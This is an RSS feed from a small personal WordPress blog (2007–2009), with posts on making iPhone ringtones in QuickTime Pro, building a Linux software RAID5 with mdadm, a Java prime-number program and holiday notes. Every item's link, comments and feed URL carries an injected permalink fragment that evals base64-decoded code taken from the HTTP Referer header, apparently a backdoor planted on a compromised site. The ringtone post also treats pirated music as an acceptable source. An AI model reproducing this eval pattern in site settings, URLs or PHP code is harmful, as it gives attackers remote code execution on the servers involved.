<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jesse &#187; Other</title>
	<atom:link href="http://www.jessecole.org/category/other/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jessecole.org</link>
	<description>A pointless blog lacking in substance.</description>
	<lastBuildDate>Thu, 15 Jan 2009 17:43:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>iPhone Ringtones</title>
		<link>http://www.jessecole.org/2008/12/28/iphone-ringtones/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/12/28/iphone-ringtones/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 28 Dec 2008 07:34:43 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Mac]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/?p=117</guid>
		<description><![CDATA[I got an iPhone! Wheeeeeee!!! . . . Sorry. So, i got me an iPhone for christmas. Its great. Its an iPod, its a phone, its a pda, its the best internet appliance there is, and its a great game platform too. Really, it beats my old phone out of the water in just about [...]]]></description>
			<content:encoded><![CDATA[<p>I got an iPhone!  Wheeeeeee!!!<br />
.<br />
.<br />
.<br />
Sorry.  So, i got me an iPhone for christmas.  Its great.  Its an iPod, its a phone, its a pda, its the best internet appliance there is, and its a great game platform too.  Really, it beats my old phone out of the water in just about every way.  But, there is one shortcoming it shares with all phones.  Ringtones.  Stupid little 5-30 second clips that should $!%@ing be free cost up to $3.00 on other platforms and cost an additional $.99 in addition to the cost of the song for the iPhone.  Its wrong.  Well, i&#8217;m Jesse.  I don&#8217;t pay a full freaking dollar for 20-30 seconds of music.  I also don&#8217;t rebuy the music for the privilege of paying that full dollar.  You shouldn&#8217;t either.  You have the music, you want the clip, and i&#8217;m going to tell you how to do it.<span id="more-117"></span></p>
<p>*Update* I forgot when i wrote this that Quicktime Pro is required.  Quicktime Pro is $15 and in my opinion well worth it.  While i agree that its functionality should be standard, it is the same cost as dedicated tools for just iphone ringtones and it does a lot more.</p>
<p>First, obviously, you have to have the music.  You won&#8217;t be able to use iTunes music for this unless its iTunes plus.  DRM gets in the way (that&#8217;ll be another post).  The song needs to be one you ripped from a cd, pirated, et al.  I don&#8217;t judge.  I&#8217;m going to do this as step by step as i can for the benefit of my less technically inclined listeners.</p>
<p>Ok, second.  In iTunes, find the song you want.  Right click (or control click) on it and choose &#8220;show in finder&#8221;.<br />
<a href="http://www.jessecole.org/wordpress/wp-content/uploads/show-in-finder.png"><img class="alignnone size-thumbnail wp-image-125" title="show-in-finder" src="http://www.jessecole.org/wordpress/wp-content/uploads/show-in-finder-85x150.png" alt="show-in-finder" width="85" height="150" /></a></p>
<p>Now, a finder window will pop up and the song file will be selected.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/finder-window.png"><img class="alignnone size-thumbnail wp-image-126" title="finder-window" src="http://www.jessecole.org/wordpress/wp-content/uploads/finder-window-150x93.png" alt="finder-window" width="150" height="93" /></a></p>
<p>The next step is to open the file in quicktime.  If you double click it, by default, the file will probably open in iTunes so right click on the file (control click) and choose open with -&gt; Quicktime Player.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/open-with.png"><img class="alignnone size-thumbnail wp-image-127" title="open-with" src="http://www.jessecole.org/wordpress/wp-content/uploads/open-with-129x150.png" alt="open-with" width="129" height="150" /></a><a href="http://www.jessecole.org/wordpress/wp-content/uploads/open-with-quicktime-player.png"><img class="alignnone size-thumbnail wp-image-128" title="open-with-quicktime-player" src="http://www.jessecole.org/wordpress/wp-content/uploads/open-with-quicktime-player-150x71.png" alt="open-with-quicktime-player" width="150" height="71" /></a></p>
<p>Now you&#8217;re in quicktime.  Here you have a window showing the song as a bar.  At the one end are little triangles that that you can drag to select the portion you want.  Just listen to the song and try to select just the part you want.  Its important to note that the iPhone won&#8217;t do ringtones over 30 seconds.  I think iTunes might not even sync it for you.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-1.png"><img class="alignnone size-thumbnail wp-image-129" title="editing-1" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-1-150x58.png" alt="editing-1" width="150" height="58" /></a></p>
<p>When you have about what you want, i recommend selecting a little more on purpose, press apple+c to copy it.  Now you will need to press apple+n for a new windows and press apple+v to paste your selection into it.  Here you can edit it further down to what you want.  A tip, you can drag the window out to get more precise with your selecting.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-2.png"><img class="alignnone size-thumbnail wp-image-130" title="editing-2" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-2-150x24.png" alt="editing-2" width="150" height="24" /></a></p>
<p>Ok, you&#8217;re done choosing your ringtone.  Its time to export the ringtone into a format iTunes will accept.  Go to File -&gt; Export, or you can press apple+e.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-4-export.png"><img class="alignnone size-thumbnail wp-image-131" title="editing-4-export" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-4-export-110x150.png" alt="editing-4-export" width="110" height="150" /></a></p>
<p>In the export options, at the bottom, click next to Export: and choose &#8220;Movie to MPEG-4&#8243;.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-5-mpeg-4.png"><img class="alignnone size-thumbnail wp-image-132" title="editing-5-mpeg-4" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-5-mpeg-4-150x114.png" alt="editing-5-mpeg-4" width="150" height="114" /></a></p>
<p>Now click options.  At the top, make sure it says MP4 and not MP4 (ISMA).  Under video you won&#8217;t have to change anything, there is no video.  In audio, you want Format: AAC-LC, Data Rate: 128 (or whatever you want if you know better), Channels: Stereo, Sample Rate: Recommended (or whatever, not important), and Encoding Quality: Best.  Under streaming, just make sure that streaming is unchecked and click ok.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-6-video.png"><img class="alignnone size-thumbnail wp-image-133" title="editing-6-video" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-6-video-150x142.png" alt="editing-6-video" width="150" height="142" /></a><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-7-audio.png"><img class="alignnone size-thumbnail wp-image-134" title="editing-7-audio" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-7-audio-150x142.png" alt="editing-7-audio" width="150" height="142" /></a><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-8-streaming.png"><img class="alignnone size-thumbnail wp-image-135" title="editing-8-streaming" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-8-streaming-150x142.png" alt="editing-8-streaming" width="150" height="142" /></a></p>
<p>Now you&#8217;re back at the export save screen.  This part is important.  iTunes will only recognize your file as a ringtone if it has a .m4r extension.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-9-save-as.png"><img class="alignnone size-thumbnail wp-image-143" title="editing-9-save-as" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-9-save-as-150x113.png" alt="editing-9-save-as" width="150" height="113" /></a></p>
<p>Save it somewhere you can find too, i recommend the desktop.  Now its just a simple matter of dragging the file into iTunes and syncing your iPhone.  If you manually manage things, just drag the ringtone over.  The ringtones will show up in a special place in iTunes called &#8220;Ringtones&#8221;.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/itunes-ringtones.png"><img class="alignnone size-thumbnail wp-image-137" title="itunes-ringtones" src="http://www.jessecole.org/wordpress/wp-content/uploads/itunes-ringtones-136x150.png" alt="itunes-ringtones" width="136" height="150" /></a></p>
<p>Now you&#8217;re done.  Just select the ringtone on your iPhone in the usual way and then enjoy your free ringtones forever.  Feel pride in the fact that you didn&#8217;t let the record industry rape you with their $.99 ringtones and flaunt your newfound abilities in their faces.  Also, if you&#8217;re bored, let apple know this is unacceptable the way things are.  The recording industry won&#8217;t hear or listen to you but apple might.  They <strong>want</strong> their customers to be happy.</p>
<p>One more thing, if this all sounds like too much, remember, there are for pay programs out there that will assist you.  Unfortunately programs like <a href="http://www.efksoft.com/products/iphoneringtonemaker/index.htm">iPhone Ringtone Maker</a> cost the same as Quicktime Pro so i recommend just learning the routine with quicktime.  Quicktime Pro can be used for a lot more than just ringtone editing too.  Let me know how it goes in the comments <img src='http://www.jessecole.org/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/12/28/iphone-ringtones/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Software raid with linux.</title>
		<link>http://www.jessecole.org/2008/08/30/software-raid-with-linux/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/08/30/software-raid-with-linux/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 31 Aug 2008 03:30:36 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[storage]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/?p=72</guid>
		<description><![CDATA[Recently, i noticed my once massive 500 GB hard drive had been reduced to nothing more than 3-4 gigs of free space. I decided i wanted more. I also decided, i didn&#8217;t like the idea of one hard drive dying and taking every byte of data i&#8217;ve collected with it. This meant redundancy. Now, there [...]]]></description>
			<content:encoded><![CDATA[<p>Recently, i noticed my once massive 500 GB hard drive had been reduced to nothing more than 3-4 gigs of free space.  I decided i wanted more.  I also decided, i didn&#8217;t like the idea of one hard drive dying and taking every byte of data i&#8217;ve collected with it.  This meant redundancy.  Now, there are a lot of solutions out there for making storage redundant.  But, I decided I had a price range of only $200-$300 total.  There was now only one solution.  Linux software raid.<span id="more-72"></span></p>
<p>For those who don&#8217;t know, there is information about it on <a title="Raid info on wikipedia.  " href="http://en.wikipedia.org/wiki/Redundant_array_of_independent_disks">wikipedia</a>.  Seriously, if you don&#8217;t know what raid is, you won&#8217;t be interested in this post.  Those who do know may be wondering why i went software instead of hardware.  Hardware raid is a dedicated hardware device (pci card) that implements raid on board and does all the xor&#8217;ing, etc and gives the device to the system as a single drive.  Theoretically, this is faster than software and more reliable.  And its true&#8230;at $1000 a card.   Really, anything less and you&#8217;re almost certainly doing software raid anyway with the disadvantages of hardware.  Namely, if the raid controller dies, and you don&#8217;t have the exact same model number and firmware revision, you&#8217;re screwed.  Turns out that every single card out there stores the raid metadata in a slightly different way and if you can&#8217;t find the same card, your data is gone forever.  Linux software raid doesn&#8217;t have this problem.  Just pop in a bootable cd and you have full reliable access to your data.  Move your hard drives to a new system/controller? No problem!  It all works fine.</p>
<p>The other standard argument for hardware over software is performance.  Again its true&#8230;at $1000 a card.  Its an xor operation.  Nothing more, ever.  Ok, if you&#8217;re main cpu is a pentium II underclocked to 5 mhz then yeah, software might slow things down.  At the end of this post i&#8217;ll include some info on the overhead i&#8217;ve experienced with it.</p>
<p>So, the actual process in linux of creating a raid array.  It turns out that, unlike ndiswrapper or sendmail configuration *shudder*, its incredibly easy.  Really, just make sure you have your hard drives in, (and partitioned), and then do one simple command like the following and its done.</p>
<pre>sudo mdadm --create /dev/md0  --chunk=16 --level=5 --raid-devices=4 /dev/sdb1 /dev/sdc1 /dev/sdd1 /dev/sde1</pre>
<p>Now, before we go any further, lets talk about partitioning.  Strictly speaking, its not necessary.  Everything will work just as well on a bare drive as on one thats been partitioned.  The main reason you&#8217;d want to, and the reason i recommend you do, is because not all drives are created equally.  When you create a raid, by default, the smallest drive sets the size of all the other drives in the array.  So, if you have a 200 gig drive and 2 500&#8242;s, the net result will be an array of 3 200&#8242;s.  The real danger is, drives fail.  Often.  I can&#8217;t even count the number of dead hard drive&#8217;s i&#8217;ve personally seen working for <a title="Lincoln County School District #2" href="http://www.lcsd2.org">LCSD2</a>.  And if you made an array of 3 500 gig drives and one dies, the replacement has to be at least as big or it won&#8217;t work.  If the replacement is even 1 byte off, you cannot add it to the array.  Now you&#8217;ve just wasted money on a drive you can&#8217;t use and you run the risk of another drive failure and loss of all your data before you can obtain another (in a raid5).  So, i recommend that you partition each drive so that the partition on each is the same size but at least a couple of megs less than the total drive capacity.  Sure you lose 20 megs but you gain peace of mind <img src='http://www.jessecole.org/wordpress/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> .</p>
<p>Ok, back to creating the array.  Lets break that command down a little.</p>
<pre>mdadm</pre>
<p>This is <strong>the </strong>command.  This is the one, (and only one), command that you will be using to manage your array.  This is the one that create the array, assemble the array, start the array, stop the array, grow the array, replace/remove drives in the array, and finally, destroy the array (note: be careful with that part).</p>
<pre>--create /dev/md0</pre>
<p>This command specifies the device that will be your array.  This is the one that you will format and mount and add files to.  We call it md0 (<strong>multi disk</strong> number <strong>0</strong>).  This is mostly out of tradition.  For example, i could&#8217;ve said:</p>
<pre>--create /dev/jessesreallybigfreakingraidarraywithlotsofstoragespace</pre>
<p>Yeah, i recommend not doing that and just going with md0, md1, etc.</p>
<pre>--chunk=16</pre>
<p>Ok, chunk size.  Basically, in a raid5, data is striped across all the disks in the array.  Chunk size, i&#8217;m pretty sure, specifies the size of that stripe before it will be written and needs to be a multiple of 4 (2?).  Theoretically (and yeah, empirically), this has an effect on the speed and performance of the array.  I would advise against obsessing here and just using 16.  I did a lot of research and found only contradictory information.  e.g Anything over 128 is wasteful! Or Anything under 128 is a waste!  I&#8217;ll include links in my references section at the bottom if you really want to obsess.  In my testing 16 was basically as good as most anything else.  Also remember, you chose raid5 for reliability, not necessarily speed.</p>
<pre>--level=5</pre>
<p>This is where you specify what kind of raid you want.  Me, i wanted raid5.  You can specify any raid level you want here.  I won&#8217;t spend time describing each raid level, for that, <a title="List of and description of each raid level." href="http://en.wikipedia.org/wiki/Standard_RAID_levels">wikipedia</a> is your friend.  I will mention that chunk size has a different effect on raid0 so i would recommend reading the man pages.</p>
<pre>--raid-devices=4 /dev/sdb1 /dev/sdc1 /dev/sdd1 /dev/sde1</pre>
<p>Pretty self explanatory.  Here you specify how many total devices are in this array and then list them.  Notice how all of them specify a partition?</p>
<p>Now you&#8217;re array is created.  I can&#8217;t speak for the others but, if you chose raid5, the array is created with one drive &#8220;missing&#8221; and it then &#8220;rebuilds&#8221; itself.  It does this for performance reasons (and yes, it really does).  The array will be a little slower till its done rebuilding but its fine.  Go ahead an use it all you want (or be paranoid and wait, whatever you have time for).  It took 3-4 hours for it to completely rebuild for my array.  Next step, formatting <img src='http://www.jessecole.org/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<pre>mkfs.ext3 /dev/md0</pre>
<p>There, done.  Its formatted.  Next.<br />
Ok, fine.  There <em>are</em> a few little things you can do here to make things a little more efficient.  Also, you don&#8217;t have to use ext3 as the filesystem if you don&#8217;t want to.  With ext3, you can specify things like stride length and width which will try to optimize things to match the block size, etc. to try and make it so that fewer read/write operations are needed.  As with block size, i didn&#8217;t bother.  In my (limited) testing, i found it to not make enough of a difference to warrant my doing anything.  If you want to try, i have links below.</p>
<p>Ok, now make a mount point somewhere, for example:</p>
<pre>mkdir /mnt/raid</pre>
<p>And add the device to your fstab so that its mounted automatically at boot.</p>
<pre>/dev/md0    /mnt/raid     ext3    defaults,errors=remount-ro,noatime,noexec,nodev    0    2</pre>
<p>One thing to note here.  In ubuntu, the mere installation of mdadm causes a new init ramdisk to be created, etc. and basically, it automatically scans for arrays on boot.  If you&#8217;re distro doesn&#8217;t do that, you need to figure out to make or add the following to your startup scripts.</p>
<pre>mdadm --assemble --scan</pre>
<p>Also, you&#8217;ll probably  have problems auto-mounting because your array may not be available when the fstab is processed.  Let me know if you have problems and i&#8217;ll try to help.</p>
<ul>
<li>Tips</li>
</ul>
<p>The whole point of raid5 is redundancy.  The idea being that the loss of a single drive means nothing because you can still get to your data and you can replace the drive.  However, if you are one drive short on boot, the array won&#8217;t be automatically started (at least on ubuntu, i&#8217;m not sure this is standard behavior).  To force an array to start sans a drive, do the following</p>
<pre>sudo mdadm -R /dev/md0</pre>
<p>Now you can backup data (highly recommended if possible), shutdown, pop the bad drive out, put the shiny new drive in, and add it to the array.</p>
<pre>sudo mdadm --add /dev/md0 /dev/sde1</pre>
<p>Reconstruction begins automatically.  You can follow the progress by check /proc/mdstat periodically.</p>
<pre>cat /proc/mdstat</pre>
<p>This will take a long time, especially if you just let it go.  By default, it limits the speed of the reconstruction to leave room for normal operation.  If you have a mostly idle array or are just impatient, you can increase the speed limit.  The speed limit is stored in &#8220;proc&#8221; virtual filesystem.</p>
<pre>cat /proc/sys/dev/raid/speed_limit_min</pre>
<p>By default, the speed limit is 1000 kb/s.  Thats very slow, not even a megabyte a second.  On a large array, it could take days at that speed.  To increase the speed, just overwrite the file (as root, sudo won&#8217;t work here).</p>
<pre>sudo -s
echo 15000 &gt; /proc/sys/dev/raid/speed_limit_min</pre>
<p>This increases the minimum speed limit to around 15 mb/s.  Much better.  Keep in mind that just because you make it that high, it might not reach the speed.  It is reading and writing constantly at the same time to rebuild that drive and can only go as fast as that drive (and bus) can handle.  That said, this is safe.  There should be no danger in increasing the speed and a simple reboot will return it defaults.  Also, it should be mentioned that a clean reboot (not a power failure probably) is fine and reconstruction will resume when it comes back up.</p>
<p>Now its been a while and we&#8217;ve ran out of space on our array.  We don&#8217;t want to start over with bigger drives but we have space for one more.  All we have to do is tell the array it has another drive and should &#8220;grow&#8221; to encompass it.  No problem.</p>
<pre>sudo mdadm --add /dev/md0 /dev/sdf1
sudo mdadm --grow /dev/md0 --raid-devices=5</pre>
<p>This will take a while and you may want to use the speed limit trick above to speed things up.  Now the array is bigger but theres a problem, you still don&#8217;t see the extra space.  The reason is the filesystem is still the size of the old array.  You need to resize the filesystem to accommodate the extra space.  This is also easy.</p>
<pre>sudo e2fsck -f /dev/md0
sudo resize2fs -p /dev/md0</pre>
<p>Resize2fs complains if you don&#8217;t do a file system check first so thats the reason for that.  This will only take a minute or two and you will have the full space available to you.  Technically its possible to do this online (while the filesystem is mounted) but i recommend unmounting it first.  This command also only works on ext3 filesystems so you&#8217;ll need to find the appropriate command for your file system of choice.</p>
<p>If you ever want to check the status of your array, you can just look at the mdstat file.</p>
<pre>cat /proc/mdstat</pre>
<p>This will show you the arrays it knows about and their status.  For more information you can use mdadm</p>
<pre>mdadm -D /dev/md0</pre>
<p>You can also use mdadm to monitor the array.</p>
<pre>mdadm --monitor</pre>
<p>This command starts mdadm and forks off a daemon that keeps an eye on the arrays.  If an array changes its state say, when a drive dies, mdadm will send off an email about it.  The configuration file is in /etc/mdadm/mdadm.conf.  Ubuntu by default has this running when its installed and will send an email to root when something happens.</p>
<p>I&#8217;ve had a really good experience with my array.  I&#8217;ve tested it thoroughly and fully trust it.  Its rock solid.  I&#8217;d like to know about your experiences, leave a message or a link in the comments.  Also if you need any help, i&#8217;d be happy to try.</p>
<ul>
<li>References</li>
</ul>
<p>to be added.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/08/30/software-raid-with-linux/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Prime Numbers</title>
		<link>http://www.jessecole.org/2008/03/08/prime-numbers/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/03/08/prime-numbers/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 08 Mar 2008 23:39:44 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Other]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/?p=43</guid>
		<description><![CDATA[So, as you know from previous posts, I&#8217;m a geek. That means i like to do geeky things and then tell people. What do i have this time you ask? Why its a list of prime number up to and including 1005833, not counting 1(it was slightly more effort than i wanted to put in [...]]]></description>
			<content:encoded><![CDATA[<p>So, as you know from previous posts, <a title="I'm a geek." href="http://www.jessecole.org/2007/12/10/im-a-geek/">I&#8217;m a geek.</a> That means i like to do geeky things and then tell people.  What do i have this time you ask?  Why its a list of prime number up to and including 1005833, not counting 1(it was slightly more effort than i wanted to put in to this).  Yeah, so i got bored and wrote the little program below in java to generate this.  I decided to run it on my file/web server here.  Its a 2.6 ghz pentium 4 with hyperthreading and it took about 4.5 hours to generate these.</p>
<pre>public class CountPrime
{
public static void main(String[] args)
{
for(long i=1;i&lt;30000000;i=i+2)
{
for(long j=i-1;j&gt;1;j--)
{
if(i%j==0) break;
if(j==2) System.out.println(i);
}
}	}
}</pre>
<p>This bring me to a little mini-rant.  Notice how i&#8217;m using longs in the code above?  Why not just do something smart and use unsigned integers giving you a nice 2^32 long space to work with?  Well here&#8217;s the answer.  JAVA DOESN&#8217;T FREAKING SUPPORT UNSIGNED ANYTHING!!!!  I took 2 classes on java and never heard a word about this.  I&#8217;ve defended java from idiots that for some reason <em>like</em> c or c++ without knowing this.  How do you freaking design a programming language without support for something so unbelievable basic as unsigned integers or short or chars or bytes or longs or anything like that?</p>
<p>Ok, that was a little more than a mini-rant but i feel better now.  Anywho, <a href="http://www.jessecole.org/wordpress/wp-content/uploads/prime.tgz">here</a> are the list of prime numbers.  The file is tar&#8217;ed and gzip&#8217;ed so if you&#8217;re using the only os in the world that doesn&#8217;t support it built-in (windows), its time to upgrade to something &#8216;nix based.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/03/08/prime-numbers/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>This is a Test.</title>
		<link>http://www.jessecole.org/2008/03/03/this-is-a-test/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/03/03/this-is-a-test/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 03 Mar 2008 18:32:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Other]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/2008/03/03/this-is-a-test/</guid>
		<description><![CDATA[This is a test of my new post by email system i&#8217;ve set up. Ha! you can&#8217;t do this with notepad! *Update* Ok, so this nightly build of wordpress breaks a few things in the plugin i&#8217;m using for my post by email thing.  So&#8230;yeah.  Until the author updates this plugin or i really get [...]]]></description>
			<content:encoded><![CDATA[<p>This is a test of my new post by email system i&#8217;ve set up.  Ha! you   can&#8217;t do this with notepad!</p>
<p>*Update* Ok, so this nightly build of wordpress breaks a few things in the plugin i&#8217;m using for my post by email thing.  So&#8230;yeah.  Until the author updates this plugin or i really get motivated to learn php and hack this thing to work myself&#8230;no email posting.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/03/03/this-is-a-test/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Merry Christmas!</title>
		<link>http://www.jessecole.org/2007/12/23/merry-christmas/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2007/12/23/merry-christmas/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 24 Dec 2007 02:33:26 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Other]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/index.php/2007/12/23/merry-christmas/</guid>
		<description><![CDATA[It&#8217;s Christmas!!! Wheee!!!! &#8230;&#8230; Ok, i got nothin&#8217;. I did put a Christmas Tree at the top&#8230;.that looks nice and cheery. I was going to put a frame of holly around this post but i haven&#8217;t the slightest idea how to do it. So&#8230;i give up. Merry Christmas.]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s Christmas!!! Wheee!!!!</p>
<p>&#8230;&#8230;</p>
<p>Ok, i got nothin&#8217;.  I did put a Christmas Tree at the top&#8230;.that looks nice and cheery.  I was going to put a frame of holly around this post but i haven&#8217;t the slightest idea how to do it.  So&#8230;i give up.</p>
<p>Merry Christmas.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2007/12/23/merry-christmas/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
